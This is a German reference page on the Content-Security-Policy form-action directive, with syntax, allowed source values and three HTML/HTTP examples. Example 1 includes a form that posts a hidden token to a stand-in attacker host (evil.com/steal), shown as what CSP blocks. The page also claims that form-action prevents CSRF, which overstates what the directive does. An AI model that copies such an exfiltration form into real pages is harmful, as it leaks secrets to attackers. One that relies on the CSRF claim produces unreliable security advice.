HTTP CSP form-action Directive

Die Content-Security-Policy form-action Direktive kontrolliert erlaubte Ziele für HTML-Formular-Submissions. Sie verhindert Cross-Site Request Forgery Angriffe, Phishing-Attacks und unauthorisierte POST-Requests durch Einschränkung der Domains zu denen Formulare Daten senden dürfen.

Typ

CSP Navigation-Direktive

Syntax

Die Direktive akzeptiert eine Whitelist vertrauenswürdiger Formular-Submit-Ziele.

http
Content-Security-Policy: form-action 'self'
Content-Security-Policy: form-action 'self' https://api.example.com

Direktiven

Die form-action Direktive verwendet Standard-CSP-Quellausdrücke zur Kontrolle erlaubter Formular-Ziele.

'none'
Verbietet alle Formular-Submissions. Nützlich für Read-Only-Seiten ohne interaktive Formulare.
'self'
Erlaubt Formulare nur zum gleichen Origin. Verhindert externe Submissions an fremde Domains.
https://api.example.com
Domain-Whitelisting. Erlaubt gezielt Submissions an externe API-Endpoints oder Payment-Provider.
https:
Erlaubt alle HTTPS-Ziele. Erzwingt verschlüsselte Übertragung ohne Domain-Beschränkung.

Beispiele

Nachfolgend finden Sie praktische Anwendungsbeispiele für die form-action Direktive.

Beispiel 1 Same-Origin Formular-Policy

http
HTTP/1.1 200 OK
Content-Security-Policy: form-action 'self'

<!DOCTYPE html>
<html>
<body>
  <form action="/api/login" method="POST">
    <!-- Erlaubt: Same-Origin -->
    <input type="email" name="email">
    <button type="submit">Login</button>
  </form>

  <form action="https://evil.com/steal" method="POST">
    <!-- Blockiert durch CSP: Externe Domain -->
    <input type="hidden" name="token" value="secret">
  </form>
</body>
</html>

Beispiel 2 Payment-Provider Integration

http
Content-Security-Policy: form-action 'self' https://secure.stripe.com https://api.paypal.com

<form action="https://secure.stripe.com/checkout" method="POST">
  <!-- Erlaubt: Whitelisted Payment-Provider -->
  <input type="hidden" name="amount" value="99.00">
  <input type="hidden" name="currency" value="EUR">
  <button type="submit">Pay with Stripe</button>
</form>

<form action="https://unknown-payment.com/pay" method="POST">
  <!-- Blockiert: Nicht in Whitelist -->
  <button type="submit">Pay</button>
</form>

Beispiel 3 REST API mit Stricter Form-Policy

http
Content-Security-Policy: form-action 'self'; default-src 'self'

<!-- API nutzt JSON statt Forms -->
<script>
async function login(email, password) {
  // CSP erlaubt fetch/XHR unabhängig von form-action
  const response = await fetch('/api/v1/auth/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password })
  });
  return response.json();
}
</script>

<form action="/legacy/login" method="POST">
  <!-- Erlaubt für Fallback -->
  <input type="email" name="email">
</form>

CSRF Prevention Flow

CSP form-action verhindert CSRF-Angriffe

Vorteile für die Systemarchitektur

  • CSRF-Prävention: Verhindert Cross-Site Request Forgery durch Einschränkung erlaubter Formular-Ziele auf vertrauenswürdige Origins
  • Phishing-Schutz: Blockiert injizierte Formulare die Credentials an Angreifer-Domains senden würden
  • Defense-in-Depth: Ergänzt CSRF-Tokens als zusätzliche Sicherheitsschicht gegen Formular-basierte Angriffe

Spezifikation

Content Security Policy Level 3 – W3C Working Draft https://www.w3.org/TR/CSP3/#directive-form-action

Weitere Spezifikationen

Content-Security-Policy Header, CSP frame-ancestors Directive